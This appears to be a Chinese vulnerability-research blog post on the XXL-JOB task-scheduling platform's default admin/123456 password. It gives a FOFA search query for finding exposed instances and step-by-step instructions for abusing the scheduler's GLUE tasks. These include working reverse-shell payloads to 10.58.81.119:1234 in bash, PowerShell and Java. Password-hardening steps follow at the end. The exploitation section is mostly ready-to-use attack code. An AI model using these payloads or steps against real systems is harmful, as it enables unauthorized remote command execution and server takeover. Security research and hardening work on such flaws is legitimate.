首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >漏洞研究(6):XXL-JOB调度中心默认口令漏洞

漏洞研究(6):XXL-JOB调度中心默认口令漏洞

作者头像
OneMoreThink
发布2025-05-13 13:03:05
发布2025-05-13 13:03:05
91800
代码可运行
举报
运行总次数:0
代码可运行

1. 组件介绍

XXL-JOB是一个分布式任务调度平台,分为调度中心和执行器两部分。

在调度中心添加执行器后,调度中心可以对执行器进行命令执行,属于集权系统,可以帮助攻击者批量获取服务器权限。

同时,通过调度中心横向到执行器,往往可以帮助攻击者实现跨网横移,这在网络策略严格的环境中具有较大价值。

2. 原理与危害

XXL-JOB的默认帐号密码是admin/123456,属于管理员权限。

如果默认口令未修改,攻击者就能登录调度中心,与执行器进行调度通信,对执行器所在的服务器进行任意命令执行,从而获得执行器所在服务器的权限。

3. 影响版本

所有版本的默认口令都是admin/123456,因此所有版本的XXL-JOB都受到影响。

4. 利用方式

FOFA:

代码语言:javascript
代码运行次数:0
运行
复制
app="XXL-JOB" || title="任务调度中心"

4.1 Shell脚本

适用于执行器所在服务器的操作系统是具有Shell环境的Linux。

4.1.1 创建任务
代码语言:javascript
代码运行次数:0
运行
复制
1. 任务管理
2. 新增
	1. 执行器:【选择需要攻击的执行器】
	2. 运行模式:GLUE(Shell)
3. 保存
4.1.2 编辑任务
代码语言:javascript
代码运行次数:0
运行
复制
1. 任务管理
2. 【选择对应执行器】
3. 【选择对应任务】
4. 操作
5. GLUE(Shell IDE)
6. 【编写EXP代码】
	1. bash -i >& /dev/tcp/10.58.81.119/1234 0>&1
7. 保存
8. 源码备注
9. 保存
10. 关闭
4.1.3 执行任务
代码语言:javascript
代码运行次数:0
运行
复制
1. 任务管理
2. 【选择对应执行器】
3. 【选择对应任务】
4. 操作
5. 执行一次
6. 保存
4.1.4 查看日志
代码语言:javascript
代码运行次数:0
运行
复制
1. 任务管理
2. 【选择对应执行器】
3. 【选择对应任务】
4. 操作
5. 查询日志
6. 【选择对应日志】
7. 操作
8. 执行日志

4.2 PowerShell脚本

适用于执行器所在服务器的操作系统是具有PowerShell环境的Windows。

4.2.1 创建任务
代码语言:javascript
代码运行次数:0
运行
复制
运行模式:GLUE(PowerShell)
4.2.2 编辑任务
代码语言:javascript
代码运行次数:0
运行
复制
$LHOST = "10.58.81.119"; $LPORT = 1234; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()

4.3 Java代码

适用于所有情况,因为能运行XXL-JOB,执行器所在服务器肯定有Java环境。

4.3.1 创建任务
代码语言:javascript
代码运行次数:0
运行
复制
运行模式:GLUE(Java)
4.3.2 编辑任务
代码语言:javascript
代码运行次数:0
运行
复制
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

publicclassExploit{

publicExploit()throws Exception {
        String host="10.58.81.119";
int port=1234;
        String cmd="/bin/bash";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
            pe=p.getErrorStream(),
            si=s.getInputStream();
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
                so.write(pi.read());
while(pe.available()>0)
                so.write(pe.read());
while(si.available()>0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
try {
                p.exitValue();
break;
            }
catch (Exception e){
            }
        };
        p.destroy();
        s.close();
    }
}

5. 加固措施

5.1 修改默认口令

点击右上角的欢迎 admin,选择修改密码,修改后会退出登录。

请注意:登录密码不应超过18位,因为前端登录时会对密码进行截取。XXL-JOB >= 2.1.1时前端无法改成超过18位的密码,但XXL-JOB < 2.1.1时可以,导致修改密码后无法登录。

此时使用默认口令登录,提示帐号或密码错误,说明漏洞修复成功。

5.2 代码中修改默认口令

使用32位小写md5值,替换掉默认口令。

请注意:登录密码不应超过18位,因为前端登录时会对密码进行截取,超过将导致无法登录。

代码语言:javascript
代码运行次数:0
运行
复制
vim doc/db/tables_xxl_job.sql

这样在部署XXL-JOB时,就不会使用默认口令初始化数据库,虽然存在口令复用问题,但也算部分实现了安全左移

代码语言:javascript
代码运行次数:0
运行
复制
### 初始化数据库
mysql -u root -p
    source /usr/local/xxl-job-2.2.0/doc/db/tables_xxl_job.sql
exit

新部署好XXL-JOB后,使用默认口令登录,提示帐号或密码错误,说明漏洞不存在。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-05-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 OneMoreThink 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1. 组件介绍
  • 2. 原理与危害
  • 3. 影响版本
  • 4. 利用方式
    • 4.1 Shell脚本
      • 4.1.1 创建任务
      • 4.1.2 编辑任务
      • 4.1.3 执行任务
      • 4.1.4 查看日志
    • 4.2 PowerShell脚本
      • 4.2.1 创建任务
      • 4.2.2 编辑任务
    • 4.3 Java代码
      • 4.3.1 创建任务
      • 4.3.2 编辑任务
  • 5. 加固措施
    • 5.1 修改默认口令
    • 5.2 代码中修改默认口令
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档